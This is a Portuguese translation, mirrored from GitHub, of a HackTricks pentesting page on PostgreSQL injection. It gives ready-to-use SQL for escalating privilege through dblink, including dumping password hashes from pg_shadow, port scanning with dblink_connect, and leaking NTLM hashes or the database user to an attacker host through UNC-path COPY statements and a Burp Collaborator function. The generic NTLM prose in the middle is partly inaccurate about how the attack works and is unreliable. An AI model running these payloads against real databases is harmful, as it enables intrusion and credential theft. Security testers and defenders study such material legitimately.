Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-28 15:41:34 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

7 KiB
Raw Blame History

Desde o PostgreSQL 9.1, a instalação de módulos adicionais é simples. As extensões registradas, como dblink, podem ser instaladas com o comando CREATE EXTENSION.

CREATE EXTENSION dblink;

Depois de carregar o dblink, você pode ser capaz de realizar alguns truques interessantes:

Escalada de privilégios

O arquivo pg_hba.conf pode estar mal configurado, permitindo conexões de localhost como qualquer usuário sem precisar saber a senha. Esse arquivo pode ser encontrado tipicamente em /etc/postgresql/12/main/pg_hba.conf e uma má configuração se parece com:

local    all    all    trust

Nota-se que essa configuração é comumente usada para modificar a senha de um usuário de banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la.
Nota-se também que o arquivo pg_hba.conf só pode ser lido pelo usuário e grupo postgres e só pode ser escrito pelo usuário postgres.

Esse caso é útil se você já tem um shell dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.

Outra possível má configuração consiste em algo como:

host    all     all     127.0.0.1/32    trust

Como permitirá que qualquer pessoa do localhost se conecte ao banco de dados como qualquer usuário.
Neste caso e se a função dblink estiver funcionando, você poderá escalar privilégios conectando-se ao banco de dados por meio de uma conexão já estabelecida e acessar dados aos quais não deveria ter acesso:

SELECT * FROM dblink('host=127.0.0.1
                          user=postgres
                          dbname=postgres',
                         'SELECT datname FROM pg_database')
                      RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
                          user=postgres
                          dbname=postgres',
                         'select usename, passwd from pg_shadow')
                      RETURNS (result1 TEXT, result2 TEXT);

Varredura de Portas

Aproveitando o dblink_connect, você também pode procurar por portas abertas. Se essa função não funcionar, você deve tentar usar dblink_connect_u() pois a documentação diz que dblink_connect_u() é idêntico ao dblink_connect(), exceto que permitirá que usuários não-superusuários se conectem usando qualquer método de autenticação.

SELECT * FROM dblink_connect('host=216.58.212.238
                                  port=443
                                  user=name
                                  password=secret
                                  dbname=abc
                                  connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
	Is the server running on host "127.0.0.1" and accepting
	TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Observe que antes de poder usar dblink_connect ou dblink_connect_u, você pode precisar executar:

CREATE extension dblink;

Caminho UNC - Divulgação de hash NTLM

Descrição

O protocolo NTLM (NT LAN Manager) é um protocolo de autenticação usado em redes Windows. Ele usa um hash NTLM para autenticar usuários e é vulnerável a ataques de divulgação de hash.

Um atacante pode usar um caminho UNC (Universal Naming Convention) para obter o hash NTLM de um usuário que se conecta a um recurso compartilhado na rede. O caminho UNC é uma convenção de nomenclatura que permite acessar recursos em uma rede usando seu nome de compartilhamento.

Exploração

Para explorar essa vulnerabilidade, o atacante precisa ter acesso a um recurso compartilhado na rede que o usuário esteja acessando. O atacante pode então usar um sniffer de rede para capturar o tráfego entre o usuário e o recurso compartilhado.

O tráfego capturado incluirá o hash NTLM do usuário, que pode ser facilmente extraído usando ferramentas como o Responder. O atacante pode então usar o hash NTLM para realizar ataques de força bruta e obter as credenciais do usuário.

Mitigação

Para mitigar essa vulnerabilidade, é recomendável usar autenticação baseada em token em vez de autenticação baseada em hash. Além disso, é importante limitar o acesso a recursos compartilhados na rede apenas a usuários autorizados.

Também é recomendável usar criptografia forte para proteger o tráfego de rede e monitorar o tráfego de rede em busca de atividades suspeitas.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';

-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ 
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN 
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥